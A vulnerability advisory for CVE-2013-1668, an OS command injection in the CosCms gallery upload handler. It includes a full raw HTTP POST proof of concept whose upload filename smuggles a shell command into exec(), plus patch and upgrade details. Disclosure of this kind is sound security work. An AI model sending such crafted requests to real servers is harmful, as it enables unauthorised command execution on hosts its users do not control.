98 lines
No EOL
4.1 KiB
Text
98 lines
No EOL
4.1 KiB
Text
Advisory ID: HTB23145
|
|
Product: CosCms
|
|
Vendor: http://www.coscms.org
|
|
Vulnerable Version(s): 1.721 and probably prior
|
|
Tested Version: 1.721
|
|
Vendor Notification: February 13, 2013
|
|
Vendor Patch: February 13, 2013
|
|
Public Disclosure: March 6, 2013
|
|
Vulnerability Type: OS Command Injection [CWE-78]
|
|
CVE Reference: CVE-2013-1668
|
|
Risk Level: High
|
|
CVSSv2 Base Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
|
|
Solution Status: Fixed by Vendor
|
|
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
|
|
|
|
-----------------------------------------------------------------------------------------------
|
|
|
|
Advisory Details:
|
|
|
|
High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary OS commands on web server where the vulnerable application is hosted.
|
|
|
|
|
|
1) OS Command Injection in CosCms: CVE-2013-1668
|
|
|
|
Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges of the web server.
|
|
|
|
The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP requests, e.g. telnet:
|
|
|
|
|
|
|
|
POST /gallery/upload/index HTTP/1.1
|
|
Content-Type: multipart/form-data; boundary=---------------------------21456260222104
|
|
Content-Length: 970
|
|
|
|
-----------------------------21456260222104
|
|
Content-Disposition: form-data; name="title"
|
|
|
|
1
|
|
-----------------------------21456260222104
|
|
Content-Disposition: form-data; name="image_add"
|
|
|
|
1
|
|
-----------------------------21456260222104
|
|
Content-Disposition: form-data; name="description"
|
|
|
|
1
|
|
-----------------------------21456260222104
|
|
Content-Disposition: form-data; name="tags"
|
|
|
|
|
|
-----------------------------21456260222104
|
|
Content-Disposition: form-data; name="MAX_FILE_SIZE"
|
|
|
|
100000000
|
|
-----------------------------21456260222104
|
|
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"
|
|
|
|
511ad0922b50f
|
|
-----------------------------21456260222104
|
|
Content-Disposition: form-data; name="file"; filename="1 & ls -la > file.txt"
|
|
Content-Type: application/octet-stream
|
|
|
|
1
|
|
|
|
-----------------------------21456260222104
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
Update
|
|
-----------------------------21456260222104--
|
|
|
|
|
|
|
|
Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. User registration is disabled by default.
|
|
|
|
|
|
-----------------------------------------------------------------------------------------------
|
|
|
|
Solution:
|
|
|
|
Upgrade to CosCms 1.822
|
|
|
|
More Information:
|
|
http://www.coscms.org/blog/view/4/Version-1.822
|
|
https://github.com/diversen/gallery/blob/master/upload/index.php
|
|
https://github.com/diversen/gallery/commit/7d58f870e8edc6597485dd1b80ea9fb78580190c
|
|
|
|
-----------------------------------------------------------------------------------------------
|
|
|
|
References:
|
|
|
|
[1] High-Tech Bridge Advisory HTB23145 - https://www.htbridge.com/advisory/HTB23145 - OS Command Injection in CosCms.
|
|
[2] CosCms - http://www.coscms.org/ - CosCMS is a simple framework for building web application. It is intended for users, who wants some common modules, and a platform with a small code base which is easy to extend.
|
|
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
|
|
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
|
|
|
|
-----------------------------------------------------------------------------------------------
|
|
|
|
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. |